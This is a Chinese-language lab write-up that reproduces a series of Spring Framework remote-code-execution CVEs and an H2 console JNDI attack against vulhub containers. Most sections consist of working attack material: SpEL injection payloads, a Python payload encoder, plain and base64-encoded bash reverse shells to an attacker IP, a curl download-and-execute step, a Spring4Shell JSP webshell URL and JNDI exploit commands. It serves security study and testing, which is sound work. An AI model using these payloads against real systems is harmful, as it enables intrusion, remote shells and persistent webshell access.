Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
一 漏洞描述
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/spring/CVE-2016-4977]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问ip:端口
字符串漏洞检测 账号密码admin
http://192.168.1.240:8080/oauth/authorize?response_type=${1*1}&client_id=acme&scope=openid&redirect_uri=http://test
编写反弹shell
bash -i >& /dev/tcp/192.168.1.162/9999 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
利用poc.py 进行ascii编码,这里python要用3以上的版本
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
python poc.py
在链接中response_type中添加编译后的字符串
四 参考链接
https://blog.csdn.net/qq_54713392/article/details/116520223
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
一 漏洞描述
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/spring/CVE-2017-4971]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问ip:port,左边为用户登录
Search String中输入1,填写信息,来到确定订单的界面,使用burp抓包,点击confirm。
修改数据包,反弹shell部分进行url编码
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.1.162/1234 0>&1")).start()=aaa
_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.1.162/123q4 0>%261")).start()=aaa
nc监听反弹shell
四 参考链接
https://silentx.gitee.io/2022/09/11/spring/
–
Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
一 漏洞描述
Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue
,导致执行了SpEL表达式,触发远程命令执行漏洞。
影响版本
Spring Data REST组件的2.6.9 and 3.0.9之前的版本(不包含2.6.9和3.0.9 )
Spring Boot (如果使用了Spring Data REST模块)的1.5.9 和 2.0 M6之前的版本
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/spring/CVE-2017-8046]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问ip:port
使用py脚本将反弹shell的payload转为ASCII码
payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'
bcode = ','.join(str(i) for i in list(payload))
print(bcode)
nc反弹shell
四 修复建议
官方已经发布新版本修复了该漏洞,受影响的用户可升级至最新版本来防护该漏洞
五 参考链接
https://silentx.gitee.io/2022/09/11/spring/
Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
一 漏洞描述
spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,
在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext
解析,造成命令执行漏洞。
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/spring/CVE-2018-1270]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问your-ip:port,在浏览器数据包中找到app.js,更改connect()函数
可直接在console控制台,修改后,在页面点击connect,输入name 发送
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('touch /1.txt')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
发现创建文件成功
修改payload反弹shell
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
nc反弹shell
五 参考链接
https://silentx.gitee.io/2022/09/11/spring/
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
一 漏洞描述
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/spring/CVE-2018-1273]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问your-ip:port,抓取数据包,修改表单
POST: username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("PAYLOAD")]=&password=&repeatedPassword=
攻击机,编写反弹shell,同时开启服务
bash -i >& /dev/tcp/192.168.1.162/1234 0>&1
python -m http.server 6666
curl使靶机远程下载反弹shell的脚本
curl -o /tmp/shell.sh http://192.168.1.162:6666/exp.sh
继续发包,更改exp.sh权限,并执行
chmod +x /tmp/shell.sh
/bin/bash /tmp/shell.sh
nc反弹
五 参考链接
https://silentx.gitee.io/2022/09/11/spring/
Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)
一 漏洞描述
Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
vulhub-master/spring/CVE-2022-22963]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
发包进行反弹shell
POST /functionRouter HTTP/1.1
Host: 192.168.1.240:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 4
test
nc反弹
五 参考链接
https://silentx.gitee.io/2022/09/11/spring/
Spring框架Data Binding与JDK 9+导致的远程代码执行漏洞
一 漏洞描述
Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。
影响版本
Spring Framework < 5.3.18
Spring Framework < 5.2.20
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
vulhub-master/spring/CVE-2022-22965]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问对应的controller,这里设置了日志的文件名、文件路径、以及后缀名,将后缀名设置为.jsp,然后不断地写入执行命令的jsp代码,从而实现webshell的写入,还需要补充cookie
http://192.168.1.240:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
删除以下字段
cookie: JSESSIONID=xxxxxx
Upgrade-Insecure-Requests: 1
sec-Fetch-Dest: document
sec-Fetch-Mode: navigatesec-Fetch-site: none
sec-Fetch-User: ?1
Cache-Control: max-age=0
添加字段
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2
访问http://192.168.1.240/tomcatwar.jsp?pwd=j&cmd=whoami
四 参考链接
https://silentx.gitee.io/2022/09/11/spring/
H2 Database Console 未授权访问
一 漏洞描述
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/h2database/h2-console-unacc]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
下载JNDI工具
https://github.com/welk1n/JNDI-Injection-Exploit
编译反弹shell
bash -i >& /dev/tcp/192.168.1.162/1234 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzEyMzQgMD4mMQ==
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.1.162
在http://192.168.1.240:8080/h2-console/提交表单后,点击连接即可反弹shell
表单信息:
javax.naming.InitialContext
rmi://192.168.1.162:1099/jledoe
四 参考链接
https://silentx.gitee.io/2022/09/11/spring/